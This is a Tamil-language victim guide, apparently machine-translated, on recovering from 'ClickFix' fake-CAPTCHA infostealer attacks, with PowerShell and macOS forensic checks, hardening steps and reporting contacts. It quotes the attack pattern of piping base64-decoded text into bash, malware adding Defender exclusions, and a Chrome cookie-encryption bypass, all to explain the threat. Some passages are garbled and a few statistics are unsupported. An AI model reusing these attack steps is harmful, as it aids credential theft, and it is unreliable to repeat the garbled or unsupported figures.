படி 3: டெவலப்பர், கார்ப்பரேட் மற்றும் அரட்டை டோக்கன்களை திரும்பப் பெறவும் (`GitHub`, `AWS`, `Discord`, `Telegram`, `Steam`)¶

Discord: உங்கள் டிஸ்கார்ட் கடவுச்சொல்லை மாற்றுவது ** உங்கள் பழைய அங்கீகார டோக்கனை தானாக செல்லாததாக்கும்** (leveldb டோக்கன்). உங்கள் தொலைபேசியிலிருந்து டிஸ்கார்ட் கடவுச்சொல்லை உடனடியாக மாற்றவும், சரிபார்க்கவும் Settings -> Devices -> அறியப்பட்ட எல்லா சாதனங்களையும் வெளியேற்றவும், மற்றும் சரிபார்க்கவும் Settings -> Authorized Apps மற்றும் Settings -> Billing (சேமித்த கிரெடிட் கார்டுகளை அகற்றவும்/பேபால்).
டெலிகிராம்: உங்கள் மொபைலில், திறக்கவும் Telegram -> Settings -> Devices -> உடனடியாக ** மற்ற எல்லா அமர்வுகளையும் நிறுத்து** என்பதைத் தட்டவும் (இது திருடப்பட்ட அனைத்தையும் கொல்லும் tdata டெஸ்க்டாப் கோப்புறை குளோன்).
Steam: உங்கள் மொபைலில், Steam பயன்பாட்டைத் திறக்கவும் -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, உங்கள் கடவுச்சொல்லை மாற்றி, எந்த API விசையும் பதிவு செய்யப்படவில்லை என்பதைச் சரிபார்க்கவும் steamcommunity.com/dev/apikey (மோசடி செய்பவர்கள் வர்த்தக சலுகைகளை அபகரிக்க ஒரு முரட்டு நீராவி வலை API விசையை பதிவு செய்கிறார்கள்).
GitHub / GitLab / AWS / SSH: நீங்கள் ஒரு மென்பொருள் பொறியாளர் அல்லது sysadmin என்றால், பார்வையிடவும் github.com/settings/sessions (உலாவி அமர்வுகளை திரும்பப் பெறவும்), github.com/settings/keys (அந்த கணினியில் சேமிக்கப்பட்ட SSH விசைகளை நீக்கு) github.com/settings/tokens (தனிப்பட்ட அணுகல் டோக்கன்களை திரும்பப் பெறவும்), மற்றும் எதையும் சுழற்றவும் -/.aws/credentials உடனடியாக AWS IAM கன்சோலில் IAM விசைகள். எங்கள் அர்ப்பணிப்பு வழிகாட்டியைப் பார்க்கவும் விநியோகச் சங்கிலி npm/PyPI சமரசம் மற்றும் டெவலப்பர் பணிநிலைய விசை சுழற்சி.

கட்டம் 3: ஆஃப்லைன் தடயவியல் ஆய்வு - உங்கள் கணினியில் என்ன இயங்குகிறது என்பதைக் கண்டறிதல்¶

பாதிக்கப்பட்ட கணினியைத் துடைத்து மீண்டும் நிறுவும் முன் (அல்லது உங்கள் கார்ப்பரேட் பாதுகாப்புக் குழுவிற்கான அறிக்கையைத் தயாரிக்கும் போது), நீங்கள் பாதுகாப்பாகச் சரிபார்க்கலாம் ClickFix கட்டளை ** இயந்திரத்தை 100% ஆஃப்லைனில் வைத்திருக்கும் போது (Wi-Fi ஆஃப், ஈதர்நெட் துண்டிக்கப்பட்டது)**.

1. விண்டோஸை ஆய்வு செய்தல் `Win + R` வரலாறு மற்றும் பவர்ஷெல் பதிவுகள்¶

** விண்டோஸ் இயக்கத்தை சரிபார்க்கவும் (Win + R) பதிவு MRU (Most Recently Used) பட்டியல் **: திற regedit.exe அல்லது ஆஃப்லைன் பவர்ஷெல் சாளரத்தை இயக்கவும்:
```
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
```
தட்டச்சு செய்த அல்லது ஒட்டப்பட்ட ஒவ்வொரு கட்டளையும் Win + R பண்புகளின் கீழ் இங்கே சேமிக்கப்படுகிறது a, b, c, முதலியன முதலில் காட்டப்பட்டுள்ள கடிதத்தில் பதிவு செய்யப்பட்ட கட்டளையைப் பாருங்கள் MRUList.
** பவர்ஷெல் ஸ்கிரிப்ட் பிளாக் பதிவு நிகழ்வுப் பதிவைச் சரிபார்க்கவும் (நிகழ்வு ஐடி 4104)**: தாக்குபவர் பயன்படுத்தினாலும் -WindowStyle Hidden (-w h) மற்றும் Base64 குறியாக்கம் (-EncodedCommand / -e), விண்டோஸ் தானாகவே டிகோட் செய்து சந்தேகத்திற்கிடமான பவர்ஷெல் ஸ்கிரிப்ட்களை நிகழ்வு பார்வையாளர் இல் பதிவு செய்கிறது:
அழுத்தவும் Win + X -> நிகழ்வு பார்வையாளர் -> செல்லவும் Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
நிகழ்வு ஐடிக்கான வடிகட்டி 4104 (Execute a Remote Command) சரியான deobfuscated PowerShell ஸ்கிரிப்ட், அது பதிவிறக்கம் செய்யப்பட்ட URL மற்றும் கோப்புறையை நீங்கள் பார்ப்பீர்கள் %TEMP%, %AppData%, அல்லது %LocalAppData% அதன் இரண்டாம் நிலை பேலோடை அது கைவிட்டது.
விண்டோஸில் நிலைத்தன்மை எங்கு நிறுவப்பட்டது என்பதைச் சரிபார்க்கவும்: தகவல் திருடுபவர்கள் மற்றும் அவர்களின் ஏற்றி ஸ்கிரிப்டுகள் (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) நான்கு இடங்களில் மறுதொடக்கம் உயிர்வாழ்வதை நிறுவவும்:
```
# 1. Registry Run / RunOnce keys:
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

# 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force

# 3. Recently created Scheduled Tasks:
Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State

# 4. Windows Defender Exclusions added by the malware:
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
```
(பார்த்தால் C:\, C:\Users, %AppData%, அல்லது .exe கீழ் சேர்க்கப்பட்டது ExclusionPath அல்லது ExclusionProcess, தீம்பொருள் உங்கள் கணினியில் மைக்ரோசாஃப்ட் டிஃபென்டரை வெளிப்படையாகக் குருடாக்கியது.)

2. டெர்மினல் கிளிக்ஃபிக்ஸுக்குப் பிறகு macOS ஐ ஆய்வு செய்தல் (`Atomic macOS Stealer / AMOS` அல்லது `Poseidon`)¶

MacOS இல், ClickFix பக்கங்கள் பயனரை டெர்மினலைத் திறக்கச் சொல்கிறது (Cmd + Space -> Terminal) மற்றும் ஒரு base64-குறியீடு செய்யப்பட்ட கட்டளையை ஒட்டவும் echo "..." | base64 -d | bash. 1. ஆஃப்லைனில் இருக்கும்போது, உங்கள் ஷெல் வரலாற்றைச் சரிபார்க்கவும் (cat -/.zsh_history | tail -n 30 அல்லது cat -/.bash_history) 2. தீம்பொருள் நிலையான பின்னணி LaunchAgent ஐ நிறுவியுள்ளதா எனச் சரிபார்க்கவும்:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

3. **டெர்மினல் ஸ்கிரிப்ட், "சிஸ்டம் விருப்பத்தேர்வுகள் உங்கள் கணினியை அணுக விரும்புகிறது. இதை அனுமதிக்க உங்கள் கடவுச்சொல்லை உள்ளிடவும்" AMOS பயன்படுத்துகிறது osascript (ஆப்பிள்ஸ்கிரிப்ட்) அல்லது உங்கள் மேகோஸ் உள்நுழைவு கடவுச்சொல்லை சரிபார்ப்பதற்கான தொடர்ச்சியான லூப் dscl . -authonly. அந்த பாப்அப்பில் உங்கள் Mac கடவுச்சொல்லை தட்டச்சு செய்தால், தீம்பொருள் உங்கள் முழுவதையும் நகலெடுத்து -/Library/Keychains/login.keychain-db (iCloud Keychain / Safari சேமித்த கடவுச்சொற்கள்) மற்றும் பிரித்தெடுக்கப்பட்ட கோப்புகள் -/Desktop மற்றும் -/Documents. Safari / Apple கடவுச்சொற்களில் சேமிக்கப்பட்ட ஒவ்வொரு கடவுச்சொல்லையும் நீங்கள் சுழற்ற வேண்டும் மற்றும் துடைத்த பிறகு உங்கள் Mac உள்நுழைவு கடவுச்சொல்லை மாற்ற வேண்டும்.

கட்டம் 4: சுத்தமான தீர்வு - நீங்கள் ஏன் துடைத்து மீண்டும் நிறுவ வேண்டும் (அல்லது ஆஃப்லைன் மீட்பு இயக்கம்)¶

பாதுகாப்பு முகவர் (CISA, FBI, NCSC) ஒரு தகவல் திருடப்பட்ட பிறகு ** சுத்தமான USB டிரைவிலிருந்து இயங்குதளத்தை துடைத்து மீண்டும் நிறுவுதல் LOLBin செயல்படுத்தல், ஏனெனில் ஏற்றிகள் அடிக்கடி ஷெல்கோடுகளை முறையான சிஸ்டம் பைனரிகளில் புகுத்துகின்றன, ரூட்கிட்/ப்ராக்ஸி இயக்கிகளை நிறுவுகின்றன அல்லது செயலற்ற பின்கதவுகளை விட்டுவிடுகின்றன (NetSupport RAT / Cobalt Strike)

படிப்படியாக மீண்டும் நிறுவுதல் & பாதுகாப்பான கோப்பு காப்புப்பிரதி¶

பாதிக்கப்பட்ட PC இன்னும் ஆஃப்லைனில் இருக்கும்போது, சுத்தமான தரவுக் கோப்புகளை மட்டும் காப்புப் பிரதி எடுக்கவும்: தனிப்பட்ட ஆவணங்கள், புகைப்படங்கள், விரிதாள்கள் மற்றும் மூலக் குறியீட்டை மட்டும் நகலெடுக்கவும் (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) வெளிப்புற USB டிரைவில். ** ஒருபோதும் காப்புப் பிரதி எடுக்க வேண்டாம் .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, அல்லது உலாவி User Data சுயவிவர கோப்புறைகள்.**
இரண்டாவது, சுத்தமான கணினி, துவக்கக்கூடிய விண்டோஸ் 11 மீடியா கிரியேஷன் USB ஐ உருவாக்கவும் (microsoft.com/software-download/windows11) அல்லது macOS மீட்பு சூழல்.
சுத்தமான USB நிறுவியிலிருந்து துவக்கவும், துவக்க SSD இல் இருக்கும் அனைத்து பகிர்வுகளையும் நீக்கவும் (எனவே EFI கணினி பகிர்வு, MSR மற்றும் முதன்மை OS பகிர்வு ஆகியவை புதிதாக உருவாக்கப்பட்டன), மேலும் இயக்க முறைமையின் சுத்தமான நகலை நிறுவவும்.
உங்களால் உடனடியாக இயந்திரத்தைத் துடைக்க முடியாவிட்டால்:
அனைத்து டிஃபென்டர் விலக்குகளை அகற்று (Remove-MpPreference -ExclusionPath ...)
நெட்வொர்க்கிங் முடக்கப்பட்ட நிலையில் Windows பாதுகாப்பான பயன்முறையில் துவக்கவும்Start-MpWDOScan), Malwarebytes, மற்றும் ESET ஆன்லைன் ஸ்கேனர், மேலும் Sysinternals Autoruns இல் உள்ள ஒவ்வொரு நுழைவையும் ஆய்வு செய்யவும் (autoruns64.exe) உடன் மைக்ரோசாஃப்ட் உள்ளீடுகளை மறை தேர்வு செய்யப்படவில்லை.

கட்டம் 5: விண்டோஸ் மற்றும் மேகோஸை கடினப்படுத்துதல், அதனால் கிளிக்ஃபிக்ஸ் மீண்டும் நடக்காது¶

** மறை அல்லது முடக்கு Windows + R (Run) குழு கொள்கை / பதிவு மூலம் தொழில்நுட்பம் அல்லாத குடும்ப உறுப்பினர்கள் அல்லது நிலையான கார்ப்பரேட் பயனர்களுக்கான உரையாடல்**: அமைத்தல் NoRun = 1 (DWORD) கீழ் HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer முற்றிலும் முடக்குகிறது Windows + R விசைப்பலகை குறுக்குவழி. ஏனெனில் கிளிக்ஃபிக்ஸ் தாக்குதல்களில் 95 சதவீதம் பயனர் அழுத்துவதை நம்பியிருக்கிறது Win + R, ரன் டயலாக்கை முடக்குவது ஒரு பயனர் எதையும் ஒட்டுவதற்கு முன் தாக்குதல் குளிர்ச்சியை நிறுத்துகிறது.
இதற்கு இயல்புநிலை கோப்பு சங்கத்தை மாற்றவும் .hta, .vbs, .js, மற்றும் .wsf ஸ்கிரிப்டுகள் notepad.exe: முடக்குகிறது mshta.exe மற்றும் wscript.exe விண்டோஸ் தாக்குதல் மேற்பரப்பு குறைப்பு வழியாக (ASR) விதிகள் அல்லது இணைத்தல் .hta/.vbs/.js நோட்பேடுடன் ஸ்கிரிப்ட் செயல்படுத்துவதைத் தடுக்கிறது.
** முக்கியமான கணக்குகளை ஹார்டுவேர்-பவுண்ட் பாஸ்கிகளுக்கு மேம்படுத்தவும் (FIDO2 / WebAuthn YubiKey போன்ற பாதுகாப்பு விசைகள்)**: தகவல் திருடுபவர்கள் உள்நுழைந்த பிறகு உலாவியில் இருந்து அமர்வு குக்கீகளை திருட முடியும், வன்பொருள் பாதுகாப்பு விசைகள் (FIDO2) குறுகிய அமர்வு வாழ்நாள் மற்றும் தொடர்ச்சியான அணுகல் மதிப்பீடு (CAE / சாதனம்-பிணைக்கப்பட்ட அமர்வு நற்சான்றிதழ்கள் DBSC) தாக்குபவர்கள் அடிப்படைச் சான்றுகளை மறு அங்கீகாரம் செய்வதிலிருந்து அல்லது ஏற்றுமதி செய்வதிலிருந்து தடுக்கவும்.
** உலாவி விளம்பரம் மற்றும் மால்வர்டைசிங் பிளாக்கரை நிறுவவும் (uBlock Origin / uBlock Origin Lite) மற்றும் மேம்படுத்தப்பட்ட பாதுகாப்பான உலாவலை இயக்கவும்**: 60 சதவீதத்திற்கும் அதிகமான ClickFix நோய்த்தொற்றுகள் தீங்கிழைக்கும் கூகுள்/பிங் தேடல் விளம்பரங்கள் சட்டப்பூர்வமான மென்பொருளைப் போல ஆள்மாறாட்டம் செய்யும் (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) அல்லது ஸ்ட்ரீமிங் தளங்கள்.

பிராந்திய அவசர எண்கள் மற்றும் ஏஜென்சி நெறிமுறைகள்¶

ஒரு கிளிக்ஃபிக்ஸ் என்றால் / Lumma Stealer தொற்று சமரசம் செய்யப்பட்ட கார்ப்பரேட் நற்சான்றிதழ்கள், சுகாதார அமைப்புகள், நிதிக் கணக்குகள் அல்லது அரசாங்க நெட்வொர்க்குகள், சம்பவத்தை உடனடியாக அதிகாரப்பூர்வ சேனல்கள் மூலம் புகாரளிக்கவும்:

அமெரிக்கா மற்றும் கனடா:
அவசரகால வாழ்க்கை-பாதுகாப்பு / முக்கியமான உள்கட்டமைப்பு: டயல் 911 ஒரு தொற்று மருத்துவமனை மருத்துவ அமைப்புகள் அல்லது பொது பாதுகாப்பு செயல்பாடுகளை சீர்குலைத்தால்.
FBI இணைய குற்ற புகார் மையம் (IC3) (US): உடனடி அறிக்கையை ** இல் பதிவு செய்யவும்ic3.gov** (குறிப்பாக கிரிப்டோகரன்சி, வங்கி கம்பிகள் அல்லது கார்ப்பரேட் வணிக மின்னஞ்சல் சமரசம் ஆகியவை திருடப்பட்ட அமர்வு குக்கீகளால் ஏற்பட்டால்).
சைபர் பாதுகாப்பு மற்றும் உள்கட்டமைப்பு பாதுகாப்பு நிறுவனம் (CISA) (யுஎஸ்): நிறுவன மற்றும் முக்கியமான உள்கட்டமைப்பு நிறுவனங்கள் இன்ஃபோஸ்டீலர் மீறல்களைப் புகாரளிக்க வேண்டும் 1-844-Say-CISA (1-844-729-2472) அல்லது cisa.gov/report.
கனேடிய மோசடி எதிர்ப்பு மையம் (CAFC) & சைபர் மையம்: அழைப்பு 1-888-495-8501 அல்லது புகாரளிக்கவும் cyber.gc.ca.
யுனைடெட் கிங்டம்:
அவசர சேவைகள்: டயல் 999 (அல்லது 101 அவசரமில்லாத போலீசாருக்கு).
நடவடிக்கை மோசடி & NCSC: சைபர் கிரைம் மற்றும் திருடப்பட்ட நிதியைப் புகாரளிக்க ** அதிரடி மோசடி (0300 123 2040 / actionfraud.police.uk)**. கார்ப்பரேட் வாடிக்கையாளர் தரவு அல்லது நற்சான்றிதழ்கள் வெளியேற்றப்பட்டால், ICO க்கு கட்டாயம் 72 மணிநேர UK GDPR அறிவிப்பை மதிப்பிடுங்கள் (0303 123 1113).
ஐரோப்பிய ஒன்றியம்:
அவசர சேவைகள்: டயல் 112 அனைத்து ஐரோப்பிய ஒன்றிய உறுப்பு நாடுகளிலும்.
GDPR கட்டுரை 33 & NIS2 CSIRT அறிக்கை: ஏனெனில் Lumma Stealer அனைத்து உலாவிகளையும் வெளியேற்றுகிறது Login Data, Cookies, மற்றும் தன்னியக்க நிரப்பு தற்காலிக சேமிப்புகள், பணியாளர் அல்லது வாடிக்கையாளரின் தனிப்பட்ட தரவை வைத்திருக்கும் எந்தவொரு பாதிக்கப்பட்ட கார்ப்பரேட் மடிக்கணினியும் உறுதிப்படுத்தப்பட்ட இரகசியத் தரவு மீறலாகும், உங்கள் தேசிய தரவுப் பாதுகாப்பு ஆணையத்திற்கு 72-மணி நேர அறிவிப்புக்கான மதிப்பீடு தேவைப்படுகிறது (DPA).
ஆஸ்திரேலியா மற்றும் நியூசிலாந்து:
அவசர சேவைகள்: டயல் 000 ஆஸ்திரேலியாவில் அல்லது 111 நியூசிலாந்தில்.
ஆஸ்திரேலிய சைபர் பாதுகாப்பு மையம் (ACSC / ReportCyber): அழைப்பு 1300 CYBER1 (1300 292 371) அல்லது கோப்பு cyber.gov.au (மற்றும் IDCARE இல் தொடர்பு கொள்ளவும் 1800 595 160 அடையாள மீட்புக்காக). நியூசிலாந்தில், CERT NZ (0800 237 869).
இந்தியா மற்றும் ஆசியா-பசிபிக்:
இந்திய தேசிய சைபர் கிரைம் ஹெல்ப்லைன் & CERT-In: அழைப்பு 1930 நிதி மோசடி நடந்தால், உடனடியாக தாக்கல் செய்யுங்கள் cybercrime.gov.in, மற்றும் நிறுவன மீறல்களை CERT-In (incident@cert-in.org.in) 6 மணி நேரத்திற்குள்.

அடிக்கடி கேட்கப்படும் கேள்விகள்¶

நான் திறந்தேன் `Win + R` மற்றும் அழுத்தியது `Ctrl + V`, எனவே உரை பெட்டியில் தோன்றியது, ஆனால் அது நிழலாக இருப்பதை உணர்ந்து அழுத்தாமல் "ரத்துசெய்" என்பதைக் கிளிக் செய்தேன் `Enter`. நான் பாதிக்கப்பட்டிருக்கிறேனா?¶

இல்லை, நீங்கள் முற்றிலும் பாதுகாப்பாக இருக்கிறீர்கள். உலாவி வலைப்பக்கம் ஜாவாஸ்கிரிப்டைப் பயன்படுத்தி உரையை உங்கள் கிளிப்போர்டில் நகலெடுக்க முடியும் (navigator.clipboard.writeText), மற்றும் அழுத்துதல் வின் + ஆர் தொடர்ந்து Ctrl + V அந்த உரை சரத்தை விண்டோஸ் ரன் உள்ளீட்டு பெட்டியில் ஒட்டுகிறது. நீங்கள் அழுத்தும் வரை எதுவும் இயங்காது உள்ளிடவும் அல்லது கிளிக் செய்யவும் சரி. நீங்கள் கிளிக் செய்தால் ரத்து செய் அல்லது மூடப்பட்டது ஓடவும் அழுத்தாமல் பெட்டி உள்ளிடவும், எந்த கட்டளையும் தொடங்கப்படவில்லை. போன்ற பாதிப்பில்லாத வார்த்தையை நகலெடுத்து உங்கள் கிளிப்போர்டை அழிக்கவும் வணக்கம் நோட்பேடில் மற்றும் தீங்கிழைக்கும் உலாவி தாவலை மூடவும்.

நான் அதை ஒட்டும்போது விண்டோஸ் டிஃபென்டர் அல்லது எனது வைரஸ் தடுப்பு ஏன் கட்டளையைத் தடுக்கவில்லை `Win + R`?¶

ஏனெனில் நீங்கள் - உள்நுழைந்துள்ள மனிதப் பயனர் - உடல் ரீதியாக அழுத்தப்பட்டிருக்கிறீர்கள் வின் + ஆர் மற்றும் அடித்தது உள்ளிடவும், விண்டோஸ் கட்டளையை ஒரு வேண்டுமென்றே நிர்வாக நடவடிக்கையாக இருந்து தொடங்கப்பட்டது explorer.exe இணையத்தில் இருந்து தரவிறக்கம் செய்யப்பட்ட நம்பத்தகாத கோப்பைக் காட்டிலும் (பொதுவாக இது ஒரு மார்க்-ஆஃப்-தி-வெப்-ஐ எடுத்துச் செல்லும். மண்டலம்.அடையாளம் குறிச்சொல்). மேலும், ClickFix சங்கிலிகள் உள்ளமைக்கப்பட்ட மைக்ரோசாப்ட் கையொப்பமிடப்பட்ட பைனரிகளைப் பயன்படுத்துகின்றன (mshta.exe, powershell.exe, conhost.exe, அல்லது மூன்றாம் தரப்பு மொழிபெயர்ப்பாளர்கள் கையொப்பமிட்டுள்ளனர் AutoIt3.exe) பேலோடை நேரடியாக ரேமில் அசெம்பிள் செய்து டிக்ரிப்ட் செய்ய, அடிக்கடி செயல்படுத்துகிறது Add-MpPreference -ExclusionPath "C:\" அடையாளம் காணக்கூடிய தீம்பொருள் கோப்பை வட்டில் எழுதும் முன் முதல் மில்லி வினாடியில்.

ஒரு தகவல் திருடுபவர் எனது கணினியில் உள்ள அனைத்து பயனர் கணக்குகளிலிருந்தும் கோப்புகளைத் திருடுகிறாரா அல்லது எனது உள்நுழைந்த சுயவிவரத்தில் மட்டும் (`Default` எதிராக `Profile 1`, `Profile 2`)?¶

தகவல் திருடுபவர்கள் ஸ்கேன் செய்கிறார்கள் ஒவ்வொரு உலாவி சுயவிவர கோப்புறை உங்கள் Windows பயனர் கணக்கில் (%LocalAppData%\Google\Chrome\User Data\Default, சுயவிவரம் 1, சுயவிவரம் 2, முதலியன, குரோம், எட்ஜ், பிரேவ், ஓபரா மற்றும் பயர்பாக்ஸ் முழுவதும்), அந்த இரண்டாம் நிலை உலாவி சுயவிவரங்களில் அந்த நேரத்தில் திறந்த சாளரம் இல்லாவிட்டாலும் கூட. அதாவது "பணி" Chrome சுயவிவரத்தையும் "தனிப்பட்ட" Chrome சுயவிவரத்தையும் ஒரே Windows உள்நுழைவின் கீழ் நீங்கள் வைத்திருந்தால், இரண்டு சுயவிவரங்களும் அவற்றின் சேமிக்கப்பட்ட கடவுச்சொற்கள் மற்றும் அமர்வு குக்கீகள் ஒரே நேரத்தில் திருடப்பட்டுள்ளன.

எனது கூகுள் அல்லது மைக்ரோசாஃப்ட் கணக்கில் நான் கடவுச் சாவியைப் பயன்படுத்தினால் என்ன செய்வது - தகவல் திருடுபவர் எனது பாஸ்கியைத் திருடினாரா?¶

இது பாஸ்கி எங்கு சேமிக்கப்பட்டது என்பதைப் பொறுத்தது, மேலும் முக்கியமாக, அந்த பாஸ்கியுடன் நீங்கள் உள்நுழைந்த பிறகு உருவாக்கப்பட்ட செயலில் உள்ள அமர்வு குக்கீயை அது நிச்சயமாக திருடியது. முதலில், நீங்கள் ஏற்கனவே அந்த கணினியில் Chrome/Edge இல் Google/Microsoft இல் உள்நுழைந்திருந்தால், தாக்குபவர் உங்களின் நேரடி அங்கீகரிக்கப்பட்ட அமர்வு குக்கீயைத் திருடியதால், தாக்குபவர்களுக்கு உங்கள் கடவுச்சொல் தேவையில்லை - எனவே நீங்கள் இன்னும் கிளிக் செய்ய வேண்டும். அனைத்து அமர்வுகளிலிருந்தும் வெளியேறு சுத்தமான சாதனத்தில். இரண்டாவதாக, உங்கள் பாஸ்கி விண்டோஸ் ஹலோவில் சேமிக்கப்பட்டிருந்தால் (TPM 2.0 வன்பொருள் சிப்) அல்லது இயற்பியல் YubiKey அல்லது iPhone இல், வன்பொருள் சிப்பில் உள்ள தனிப்பட்ட விசையை தீம்பொருளால் ஏற்றுமதி செய்ய முடியாது. இருப்பினும், அந்த கணினியில் திறக்கப்பட்ட மூன்றாம் தரப்பு உலாவி நீட்டிப்பு பெட்டகத்திற்குள் ஒத்திசைக்கப்பட்ட கடவுச்சொற்களை நீங்கள் சேமித்து வைத்திருந்தால், உடனடியாக உங்கள் கணக்கு பாதுகாப்பு அமைப்புகளில் அந்த கடவுச்சொற்களை திரும்பப் பெறவும்.

Google Chrome இன் "ஆப்-பவுண்ட் என்க்ரிப்ஷன்" எப்படி இருக்கிறது (`v20` குக்கீகள்) பாதிக்கப்படுகிறது, மற்றும் செய்கிறது `Lumma Stealer` அதை கடந்து செல்லவா?¶

Chrome 127+ இல் தொடங்கி, Google App-Bound Encryptionஐ Windows இல் அறிமுகப்படுத்தியது, இது குக்கீ குறியாக்கத்தை பிணைக்கிறது (`v20` முன்னொட்டு) உயர்த்தப்பட்ட விண்டோஸ் சிஸ்டம் சேவைக்கு (`GoogleChromeElevationService`) குக்கீகளை மறைகுறியாக்குவதில் இருந்து குறைந்த சலுகை தீம்பொருளை நிறுத்த. இருப்பினும், நவீன கட்டிடங்கள் லும்மா திருடுபவர், StealC, மற்றும் மெதுசா தலையில்லாத நிகழ்வில் குறியீட்டை நேரடியாக உட்செலுத்துவதன் மூலம் ஆப்-பவுண்ட் என்க்ரிப்ஷனை செயலில் கடந்து செல்கிறது chrome.exe, Chrome இன் ரிமோட் பிழைத்திருத்த போர்ட்டை தவறாக பயன்படுத்துதல் (--remote-debugging-port), அல்லது அழைப்பதற்கான சலுகைகளை உயர்த்துதல் ஐஎலிவேட்டர் COM இடைமுகம். நீங்கள் கிளிக்ஃபிக்ஸ் பேலோடை இயக்கினால், உங்கள் அமர்வு குக்கீகளை Chrome 127+ பாதுகாக்கும் என்று நினைக்க வேண்டாம்; எப்போதும் அனைத்து அமர்வுகளையும் உடனடியாக திரும்பப் பெறவும்.

எனது ஐபோன் அல்லது ஆண்ட்ராய்டு ஃபோனில் செயல்படுத்தப்படும் கிளிக்ஃபிக்ஸ் கட்டளை எனது ஃபோனைப் பாதிக்குமா? `Win + R` தீம்பொருளா?¶

ஐபோனில் போலி கேப்ட்சாவைத் தட்டினால் (`iOS`) அல்லது ஆண்ட்ராய்டு போன், ஏதேனும் விண்டோஸ் பவர்ஷெல் / mshta.exe கட்டளை உங்கள் மொபைல் கிளிப்போர்டுக்கு நகலெடுக்கப்பட்டது iOS அல்லது Android இல் செயல்படுத்த முடியாது, ஏனெனில் மொபைல் ஆப்பரேட்டிங் சிஸ்டங்களில் ஏ இல்லை வின் + ஆர் உரையாடலை இயக்கவும், powershell.exe, அல்லது mshta.exe. இருப்பினும், சில மொபைல்-விழிப்புணர்வு ClickFix பக்கங்கள் உங்கள் மொபைல் பயனர் முகவரைக் கண்டறிந்து, தீங்கிழைக்கும் ஆண்ட்ராய்டை நிறுவ உங்களைத் திருப்பிவிடும் .apk கோப்பு, ஒரு முரட்டு iOS மொபைல் சாதன மேலாண்மை (`MDM`) உள்ளமைவு சுயவிவரம் அல்லது தீங்கிழைக்கும் PWA/Web Push அறிவிப்பு சந்தா. பதிவிறக்கம் செய்யப்பட்ட கோப்பு அல்லது சுயவிவரத்தை நீங்கள் நிறுவவில்லை என்பதைச் சரிபார்க்கவும்.

தொடர்புடைய வழிகாட்டிகள்¶

ஆதாரங்கள் மற்றும் அதிகாரப்பூர்வ வழிகாட்டுதல்¶

சைபர் பாதுகாப்பு மற்றும் உள்கட்டமைப்பு பாதுகாப்பு நிறுவனம் (CISA) & ஃபெடரல் பீரோ ஆஃப் இன்வெஸ்டிகேஷன் (FBI) (அமெரிக்கா): கூட்டு இணைய பாதுகாப்பு ஆலோசனை (AA24-131A / Infostealer & Lumma Stealer Threat Advisories): மிடிகேட்டிங் லிவிங் ஆஃப் தி லேண்ட் (LOLBin) மற்றும் அமர்வு டோக்கன் திருட்டு தாக்குதல்கள்.
தேசிய தரநிலைகள் மற்றும் தொழில்நுட்ப நிறுவனம் (NIST) (யுனைடெட் ஸ்டேட்ஸ்): சிறப்பு வெளியீடு 800-61 ரெவ். 2: கணினி பாதுகாப்பு நிகழ்வு கையாளுதல் வழிகாட்டி & SP 800-63B: டிஜிட்டல் அடையாள வழிகாட்டுதல்கள் (அமர்வு மேலாண்மை மற்றும் மறு அங்கீகாரம்).
மைக்ரோசாப்ட் அச்சுறுத்தல் நுண்ணறிவு (Microsoft Security): ClickFix சமூக பொறியியல் பிரச்சாரங்களை பகுப்பாய்வு செய்தல், போலி CAPTCHA கிளிப்போர்டு ஊசி (RunMRU), மற்றும் பவர்ஷெல் ஸ்கிரிப்ட் பிளாக் லாக்கிங் (Event ID 4104).
தேசிய சைபர் பாதுகாப்பு மையம் (NCSC) (யுனைடெட் கிங்டம்): மால்வேர் மற்றும் ரான்சம்வேர் தாக்குதல்களைத் தணித்தல் & சாதன அளவிலான நற்சான்றிதழ் திருட்டு வழிகாட்டுதல்.
சைபர் பாதுகாப்புக்கான ஐரோப்பிய யூனியன் ஏஜென்சி (ENISA): ENISA அச்சுறுத்தல் நிலப்பரப்பு அறிக்கை: தகவல் திருடுபவர்கள் (Lumma, StealC, RedLine, AMOS) மற்றும் அமர்வு குக்கீ ஹைஜாக்கிங் எதிர் நடவடிக்கைகள்.

'கிளிக்ஃபிக்ஸ்' போலி CAPTCHA மோசடி: Win+R மற்றும் Ctrl+Vஐ அழுத்துவது ஏன் இன்போ-ஸ்டீலர் மால்வேரை இயக்குகிறது¶

இப்போது இதைச் செய்யுங்கள்¶

முடிவெடுக்கும் மரம்: கிளிக்ஃபிக்ஸுக்குப் பிறகு உடனடி கட்டுப்பாடு மற்றும் மீட்பு Win+R அல்லது டெர்மினல் பேஸ்ட்¶

கட்டம் 1: "கிளிக்ஃபிக்ஸ்" தாக்குதலின் உடற்கூறியல் - ஒரு வலைப்பக்கம் எவ்வாறு கடத்தப்படுகிறது Win + R¶